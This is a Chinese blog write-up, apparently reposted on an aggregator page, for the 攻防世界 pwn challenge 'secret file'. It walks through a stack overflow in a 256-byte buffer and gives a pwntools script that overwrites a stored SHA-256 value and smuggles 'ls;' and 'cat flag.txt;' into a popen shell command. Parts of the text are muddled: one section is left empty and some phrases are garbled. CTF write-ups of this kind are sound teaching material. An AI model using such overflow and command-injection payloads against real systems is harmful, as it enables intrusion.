
攻防世界pwn题 -- secret file 题解
从标准输入读取字符串。 将读取的字符串与内部的一个固定的字符串比较。 如果比较成功(即字符串相等),则执行特定的shell命令。 最终解密并释放flag。
发布日期:2021-05-15 04:19:03
浏览次数:21
分类:精选文章
本文共 1189 字,大约阅读时间需要 3 分钟。
栈溢出分析与利用
肯透世界的Pwn题
最近遇到了一个栈溢出的Pwn题,感觉有点挑战性,但还是想仔细分析一下。下面是我的解题过程和思路。
一、线索寻找
// 核心变量int v8 = 0;int v5 = 0;int v15 = 0;int v17 = 0;// 其他相关变量int v4, v6, v7, v14;char dest[256];char lineptr[1024];
从变量名和类型来看,dest数组的大小是256,这是一个明显的提示。v8是控制程序是否输出“wrong password!”的条件变量。当v8不为0时,程序就会打印错误信息并退出。
二、程序执行流程
程序的主要流程是:
关键在于比较的字符串部分,发现这里有一个栈溢出点。
三、攻击思路
确定目标: 找到需要比较的字符串存储位置,覆盖它。
构造字符串: 生成一个能够覆盖目标字符串的结构,包括终止符和必要的null终止。
计算Hash Value: 利用sha256函数对自己构造的字符串进行加密,然后与程序内部的一个固定的字符串对比。
运行测试: 验证构造的字符串是否达到了预期效果。
四、静态分析
变量定义: main函数定义了一系列变量,其中dest和lineptr是关键。
关键函数: sub_E60
和 sub_DD0
。
sub_E60
处理的是dest字符串。sub_DD0
则负责将dest字符串加密。
Popen函数: 通过popen执行shell命令,这一点很关键。
五、构造字符串脚本
from pwn import *import hashlibp = process("./secret_file")# 远程连接(可根据实际情况调整)# p = remote("220.249.52.134", 50897)payload = cyclic(0x100) # 内存覆盖基元iaopayload += b"ls;"# 调整为 Marl发现的长度hash_code = hashlib.sha256(payload).hexdigest()payload += hash_code.encode("ISO-8859-1")payload += b"cat flag.txt;"p.sendline(payload)p.interactive()
六、注意事项
- 栈溢出点: dest 的长度一定要正确,避免错误终止。
- Hash计算: 确保生成的哈希值与程序内部匹配。
- 终止符: 避免添加不必要的字符,确保字符串正确。
如果有错误或疑问,可以通过调试工具(如GDB)进一步分析程序的运行流程。希望我的思路能对你有帮助!
发表评论
最新留言
逛到本站,mark一下
[***.202.152.39]2025年05月26日 03时00分56秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
MessageDigest
2025-04-13
Mes的理解
2025-04-13
MES系统如何实现远程访问?
2025-04-13
Metabase RCE漏洞复现(CVE-2023-38646)
2025-04-13
metaclass
2025-04-13
metaq杂记
2025-04-13
Metasploit CGI网关接口渗透测试实战
2025-04-13
Metasploit Framework中最全show命令及使用
2025-04-13
Metasploit GUI图形界面使用
2025-04-13
Metasploit SCADA渗透测试实战
2025-04-13
Metasploit SQL注入漏洞渗透测试实战
2025-04-13
Metasploit Web服务器渗透测试实战
2025-04-13
Metasploit Web认证渗透测试实战
2025-04-13
Metasploit Windows AD渗透测试实战
2025-04-13
Metasploit 信息收集实战
2025-04-13
Metasploit 命令注入漏洞渗透测试实战
2025-04-13
Metasploit 客户端漏洞利用实战
2025-04-13
Metasploit 文件上传漏洞渗透测试实战
2025-04-13
Metasploit 文件包含与跨站请求伪造渗透测试实战
2025-04-13